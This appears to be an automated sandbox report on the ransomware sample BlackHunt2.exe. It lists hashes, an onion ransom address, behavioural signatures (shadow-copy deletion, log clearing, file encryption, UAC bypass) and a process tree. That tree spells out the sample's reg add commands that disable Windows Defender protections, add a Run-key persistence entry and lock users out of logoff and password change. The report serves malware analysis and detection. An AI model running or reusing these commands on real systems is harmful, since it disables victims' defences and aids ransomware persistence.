Analysis
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max time kernel
121s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
06/11/2024, 00:48
Static task
static1
Behavioral task
behavioral1
Sample
BlackHunt2.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
BlackHunt2.exe
Resource
win10v2004-20241007-en
General
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Target
BlackHunt2.exe
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Size
707KB
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MD5
a5b8808054ac836f22ba7b95a23a7c69
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SHA1
28a67a2df118e369d748e9c227e5eaaa855a125c
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SHA256
ba011447038aab7f6b94cad29c2ac6405c1b8098dc65a94fb095af48422a56c9
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SHA512
f6afe5711fd99cd50b34a54910aded7f1601db6b2a88e879a069ce5e8ad53966fbfc807d5636fb5c82f56a7625c5d490b9a8d031eea51f5229ceafeb367b7c2e
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SSDEEP
6144:scmww6F0Pq96rrKPsdsqr+VYgc5oiRLQs+d5zSTaz5EfOOzA5eKa1DT84v5hg:LaPzGE5r+k6We5OTaz5EfFA5eZKYhg
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 2652 fsutil.exe 272 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" BlackHunt2.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 944 wevtutil.exe 1624 wevtutil.exe 1620 wevtutil.exe 2752 wevtutil.exe 2748 wevtutil.exe -
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 272 bcdedit.exe 2060 bcdedit.exe 1744 bcdedit.exe 2020 bcdedit.exe -
Renames multiple (2894) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 1732 wbadmin.exe 2432 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Deletes itself 1 IoCs
pid Process 776 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" BlackHunt2.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\M: BlackHunt2.exe File opened (read-only) \??\W: BlackHunt2.exe File opened (read-only) \??\P: BlackHunt2.exe File opened (read-only) \??\L: BlackHunt2.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\Q: BlackHunt2.exe File opened (read-only) \??\R: BlackHunt2.exe File opened (read-only) \??\A: BlackHunt2.exe File opened (read-only) \??\S: BlackHunt2.exe File opened (read-only) \??\H: BlackHunt2.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\T: BlackHunt2.exe File opened (read-only) \??\G: BlackHunt2.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\I: BlackHunt2.exe File opened (read-only) \??\O: BlackHunt2.exe File opened (read-only) \??\K: BlackHunt2.exe File opened (read-only) \??\B: BlackHunt2.exe File opened (read-only) \??\V: BlackHunt2.exe File opened (read-only) \??\Z: BlackHunt2.exe File opened (read-only) \??\X: BlackHunt2.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\Y: BlackHunt2.exe File opened (read-only) \??\J: BlackHunt2.exe File opened (read-only) \??\E: BlackHunt2.exe File opened (read-only) \??\U: BlackHunt2.exe File opened (read-only) \??\N: BlackHunt2.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" BlackHunt2.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files\VideoLAN\VLC\locale\nn\LC_MESSAGES\#BlackHunt_Private.key BlackHunt2.exe File opened for modification C:\Program Files\Java\jre7\lib\images\cursors\invalid32x32.gif BlackHunt2.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Atlantic\Bermuda BlackHunt2.exe File created C:\Program Files\VideoLAN\VLC\locale\ku_IQ\#BlackHunt_Private.key BlackHunt2.exe File created C:\Program Files\Java\jre7\lib\zi\Indian\#BlackHunt_ReadMe.hta BlackHunt2.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\fr\LC_MESSAGES\vlc.mo BlackHunt2.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Dili BlackHunt2.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\ended_review_or_form.gif BlackHunt2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\win7.png BlackHunt2.exe File created C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\#BlackHunt_Private.key BlackHunt2.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Dublin BlackHunt2.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\WhiteDot.png BlackHunt2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Windhoek BlackHunt2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Pangnirtung BlackHunt2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\sunmscapi.jar BlackHunt2.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\#BlackHunt_ReadMe.txt BlackHunt2.exe File created C:\Program Files\Java\jre7\lib\#BlackHunt_Private.key BlackHunt2.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Yakutsk BlackHunt2.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ro\LC_MESSAGES\vlc.mo BlackHunt2.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\mobile_browse.html BlackHunt2.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\cmm\#BlackHunt_ReadMe.txt BlackHunt2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\RELEASE-NOTES.html BlackHunt2.exe File opened for modification C:\Program Files\Java\jre7\lib\ext\jaccess.jar BlackHunt2.exe File created C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\#BlackHunt_Private.key BlackHunt2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-keyring.jar BlackHunt2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler.jar BlackHunt2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-api-search.xml BlackHunt2.exe File created C:\Program Files\Java\jre7\lib\zi\Indian\#BlackHunt_ReadMe.txt BlackHunt2.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Goose_Bay BlackHunt2.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\SPPlugins\ADMPlugin.apl BlackHunt2.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainToNotesBackground.wmv BlackHunt2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\bookicon.gif BlackHunt2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core-output2.jar BlackHunt2.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Istanbul BlackHunt2.exe File created C:\Program Files\VideoLAN\VLC\locale\ne\LC_MESSAGES\#BlackHunt_Private.key BlackHunt2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Winamac BlackHunt2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator.manipulator_2.0.0.v20131217-1203.jar BlackHunt2.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Caracas BlackHunt2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Araguaina BlackHunt2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Port-au-Prince BlackHunt2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_zh_HK.properties BlackHunt2.exe File opened for modification C:\Program Files\Java\jre7\lib\content-types.properties BlackHunt2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.registry_3.5.400.v20140428-1507.jar BlackHunt2.exe File created C:\Program Files\VideoLAN\VLC\locale\bn\#BlackHunt_Private.key BlackHunt2.exe File created C:\Program Files\VideoLAN\VLC\locale\hr\LC_MESSAGES\#BlackHunt_Private.key BlackHunt2.exe File created C:\Program Files\VideoLAN\VLC\locale\hy\#BlackHunt_Private.key BlackHunt2.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\#BlackHunt_ReadMe.txt BlackHunt2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Brisbane BlackHunt2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ecf.filetransfer_5.0.0.v20140827-1444.jar BlackHunt2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Santo_Domingo BlackHunt2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\YST9 BlackHunt2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.controlpanel.ui_5.5.0.165303.jar BlackHunt2.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\speaker-32.png BlackHunt2.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CENTEURO.TXT BlackHunt2.exe File created C:\Program Files\Java\#BlackHunt_ReadMe.txt BlackHunt2.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\#BlackHunt_Private.key BlackHunt2.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Port_Moresby BlackHunt2.exe File created C:\Program Files\VideoLAN\VLC\locale\mai\LC_MESSAGES\#BlackHunt_ReadMe.hta BlackHunt2.exe File opened for modification C:\Program Files\7-Zip\7zCon.sfx BlackHunt2.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\#BlackHunt_ReadMe.hta BlackHunt2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Auckland BlackHunt2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Pitcairn BlackHunt2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-core-output2.xml BlackHunt2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-util-enumerations_zh_CN.jar BlackHunt2.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language BlackHunt2.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 776 cmd.exe 2232 PING.EXE -
Interacts with shadow copies 3 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1124 vssadmin.exe 1320 vssadmin.exe 2616 vssadmin.exe 1772 vssadmin.exe 1896 vssadmin.exe 2796 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 1540 taskkill.exe -
Modifies registry class 10 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2232 PING.EXE -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2600 schtasks.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 2676 mshta.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 2872 BlackHunt2.exe Token: SeRestorePrivilege 2872 BlackHunt2.exe Token: SeBackupPrivilege 2872 BlackHunt2.exe Token: SeTakeOwnershipPrivilege 2872 BlackHunt2.exe Token: SeAuditPrivilege 2872 BlackHunt2.exe Token: SeSecurityPrivilege 2872 BlackHunt2.exe Token: SeIncBasePriorityPrivilege 2872 BlackHunt2.exe Token: SeBackupPrivilege 1076 vssvc.exe Token: SeRestorePrivilege 1076 vssvc.exe Token: SeAuditPrivilege 1076 vssvc.exe Token: SeBackupPrivilege 1912 wbengine.exe Token: SeRestorePrivilege 1912 wbengine.exe Token: SeSecurityPrivilege 1912 wbengine.exe Token: SeSecurityPrivilege 2748 wevtutil.exe Token: SeBackupPrivilege 2748 wevtutil.exe Token: SeSecurityPrivilege 944 wevtutil.exe Token: SeBackupPrivilege 944 wevtutil.exe Token: SeSecurityPrivilege 1620 wevtutil.exe Token: SeBackupPrivilege 1620 wevtutil.exe Token: SeSecurityPrivilege 1624 wevtutil.exe Token: SeBackupPrivilege 1624 wevtutil.exe Token: SeSecurityPrivilege 2752 wevtutil.exe Token: SeBackupPrivilege 2752 wevtutil.exe Token: SeDebugPrivilege 1540 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2872 wrote to memory of 2300 2872 BlackHunt2.exe 29 PID 2872 wrote to memory of 2300 2872 BlackHunt2.exe 29 PID 2872 wrote to memory of 2300 2872 BlackHunt2.exe 29 PID 2872 wrote to memory of 2300 2872 BlackHunt2.exe 29 PID 2872 wrote to memory of 2448 2872 BlackHunt2.exe 30 PID 2872 wrote to memory of 2448 2872 BlackHunt2.exe 30 PID 2872 wrote to memory of 2448 2872 BlackHunt2.exe 30 PID 2872 wrote to memory of 2448 2872 BlackHunt2.exe 30 PID 2872 wrote to memory of 2432 2872 BlackHunt2.exe 31 PID 2872 wrote to memory of 2432 2872 BlackHunt2.exe 31 PID 2872 wrote to memory of 2432 2872 BlackHunt2.exe 31 PID 2872 wrote to memory of 2432 2872 BlackHunt2.exe 31 PID 2872 wrote to memory of 296 2872 BlackHunt2.exe 32 PID 2872 wrote to memory of 296 2872 BlackHunt2.exe 32 PID 2872 wrote to memory of 296 2872 BlackHunt2.exe 32 PID 2872 wrote to memory of 296 2872 BlackHunt2.exe 32 PID 2872 wrote to memory of 2372 2872 BlackHunt2.exe 33 PID 2872 wrote to memory of 2372 2872 BlackHunt2.exe 33 PID 2872 wrote to memory of 2372 2872 BlackHunt2.exe 33 PID 2872 wrote to memory of 2372 2872 BlackHunt2.exe 33 PID 2872 wrote to memory of 2564 2872 BlackHunt2.exe 34 PID 2872 wrote to memory of 2564 2872 BlackHunt2.exe 34 PID 2872 wrote to memory of 2564 2872 BlackHunt2.exe 34 PID 2872 wrote to memory of 2564 2872 BlackHunt2.exe 34 PID 2872 wrote to memory of 2848 2872 BlackHunt2.exe 35 PID 2872 wrote to memory of 2848 2872 BlackHunt2.exe 35 PID 2872 wrote to memory of 2848 2872 BlackHunt2.exe 35 PID 2872 wrote to memory of 2848 2872 BlackHunt2.exe 35 PID 2872 wrote to memory of 1664 2872 BlackHunt2.exe 36 PID 2872 wrote to memory of 1664 2872 BlackHunt2.exe 36 PID 2872 wrote to memory of 1664 2872 BlackHunt2.exe 36 PID 2872 wrote to memory of 1664 2872 BlackHunt2.exe 36 PID 2872 wrote to memory of 3044 2872 BlackHunt2.exe 37 PID 2872 wrote to memory of 3044 2872 BlackHunt2.exe 37 PID 2872 wrote to memory of 3044 2872 BlackHunt2.exe 37 PID 2872 wrote to memory of 3044 2872 BlackHunt2.exe 37 PID 2872 wrote to memory of 2568 2872 BlackHunt2.exe 38 PID 2872 wrote to memory of 2568 2872 BlackHunt2.exe 38 PID 2872 wrote to memory of 2568 2872 BlackHunt2.exe 38 PID 2872 wrote to memory of 2568 2872 BlackHunt2.exe 38 PID 2872 wrote to memory of 2364 2872 BlackHunt2.exe 39 PID 2872 wrote to memory of 2364 2872 BlackHunt2.exe 39 PID 2872 wrote to memory of 2364 2872 BlackHunt2.exe 39 PID 2872 wrote to memory of 2364 2872 BlackHunt2.exe 39 PID 2872 wrote to memory of 2796 2872 BlackHunt2.exe 137 PID 2872 wrote to memory of 2796 2872 BlackHunt2.exe 137 PID 2872 wrote to memory of 2796 2872 BlackHunt2.exe 137 PID 2872 wrote to memory of 2796 2872 BlackHunt2.exe 137 PID 2872 wrote to memory of 2108 2872 BlackHunt2.exe 41 PID 2872 wrote to memory of 2108 2872 BlackHunt2.exe 41 PID 2872 wrote to memory of 2108 2872 BlackHunt2.exe 41 PID 2872 wrote to memory of 2108 2872 BlackHunt2.exe 41 PID 2872 wrote to memory of 2052 2872 BlackHunt2.exe 42 PID 2872 wrote to memory of 2052 2872 BlackHunt2.exe 42 PID 2872 wrote to memory of 2052 2872 BlackHunt2.exe 42 PID 2872 wrote to memory of 2052 2872 BlackHunt2.exe 42 PID 2872 wrote to memory of 2176 2872 BlackHunt2.exe 43 PID 2872 wrote to memory of 2176 2872 BlackHunt2.exe 43 PID 2872 wrote to memory of 2176 2872 BlackHunt2.exe 43 PID 2872 wrote to memory of 2176 2872 BlackHunt2.exe 43 PID 2872 wrote to memory of 304 2872 BlackHunt2.exe 44 PID 2872 wrote to memory of 304 2872 BlackHunt2.exe 44 PID 2872 wrote to memory of 304 2872 BlackHunt2.exe 44 PID 2872 wrote to memory of 304 2872 BlackHunt2.exe 44 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System BlackHunt2.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" BlackHunt2.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" BlackHunt2.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\BlackHunt2.exe"C:\Users\Admin\AppData\Local\Temp\BlackHunt2.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2872 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵PID:2300
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:1080
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2448
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2720
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵PID:2432
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:236
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:296
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2880
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2372
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:1720
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2564
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:2744
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2848
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:1528
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:1664
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:2556
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:3044
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:2128
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2568
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:1920
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2364
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:2244
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2796
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:1640
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2108
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:552
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2052
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:2012
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2176
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:2780
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:304
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:2788
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:1752
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:1624
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2060
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1064
